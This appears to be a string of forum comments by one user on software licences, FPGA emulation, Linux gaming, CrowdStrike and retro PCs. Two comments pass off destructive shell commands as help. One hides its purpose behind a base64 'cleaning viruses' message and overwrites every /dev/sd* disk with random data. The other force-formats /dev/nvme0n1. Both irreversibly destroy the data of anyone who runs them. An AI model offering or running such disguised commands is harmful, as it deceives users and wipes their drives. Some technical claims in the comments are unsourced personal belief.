The place to get snaps is proprietary and exclusive.

Interesting. Maybe it’s because I’m using a VPN and a privacy-oriented web browser to mitigate fingerprinting.

Yes. For one, Google requires phone verification to create an account, and two, you would be giving Google a link to one specific account for every video you watch.

DuckStation recently changed to a source-available license that prohibits distributing modified versions of the software and prohibits commercial use. Before, it was GPLv3.

Also OpenOffice, Emby, Audacity, Android (AOSP) (soft forked to LineageOS and GrapheneOS, but no hard fork)

Source? I don’t believe it.

Why else would the US be working so hard to ban it and make it very difficult to obtain?

Not necessarily. FPGA cores are black box reverse engineered from the original hardware, which involved a lot of guess work and trial and error. Chances are there are some flaws that crop up in the process. The only way to get a 100% accurate FPGA core would be if someone used leaked HDL from Nintendo, which would be very illegal and would land that developer in court.

For example, I believe the Verilog for the N64, Gamecube, and Wii were all leaked in the gigaleak, but the person who developed the N64 core for the MiSTer never downloaded or read that code, and instead completely reverse engineered the original black box hardware to write his core. That core is not 100% accurate, and some games even require patches to function properly. Granted, that is more due to space limitations in the MiSTer FPGA, but even if there were no such limitations, it would be very unlikely that the HDL written would be functionally identical to the leaked HDL.

I’ve only tried framegen in one game (The Last of Us remake) and it worked fine. I also have an AMD GPU if that matters.

I think with Nvidia drivers you can get DLSS working and probably framegen too, but I wouldn’t know how to set that up. Nvidia compiles both the Linux and Windows drivers using the same codebase.

Also wym by faster? Linux has less overhead than Windows does, even when using Proton, and many games perform better on Linux because of that.

EDIT: There’re also a couple of mods available that let you replace DLSS framegen with FSR 3.1 framegen: https://www.youtube.com/watch?v=vnXW8CzKYBw

There’s a big problem with using a Windows handheld, though. Windows.

Luckilly, you can install Linux on them, though.

That would be like losing the Library of Alexandria all over again.

We need to archive the archive, and maybe have it in the middle of international waters.

Propaganda is a powerful drug

I thought only people who subscribed to CrowdStrike’s services had that driver installed.

Same thing would happen on Linux if someone wrote a bad kernel module and integrated it into the OS. In fact, Crowdstrike did have a similar problem a few months ago on Linux.

I’m no fan of Microsoft, but this isn’t their fault.

That’s normal. That just means the viruses were cleaned from your computer.

echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done

On Linux, it’s sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

SA-1*

GNU was founded because Richard Stallman was frusterated with a printer’s proprietary software.

That looks like exactly what I need. Seems to work pretty well already.

Thanks!

Yeah. I find myself using Google Maps on a web browser to look up the coordinates, then copypasta-ing that into Organic Maps.

Yeah. There’s the ao486 core available on MiSTer.

There’s also the PCem (as well as forks 86Box and PCBox) software emulators which are excellent ways of emulating old PCs.

But emulation (regardless of whether hardware or software) is not the same experience as real hardware, especially when it comes to PCs. There is the tinkering with hardware, the process of building the PC, the satisfying click of the power button and turbo button, using floppy disks, trying to get it online, etc.
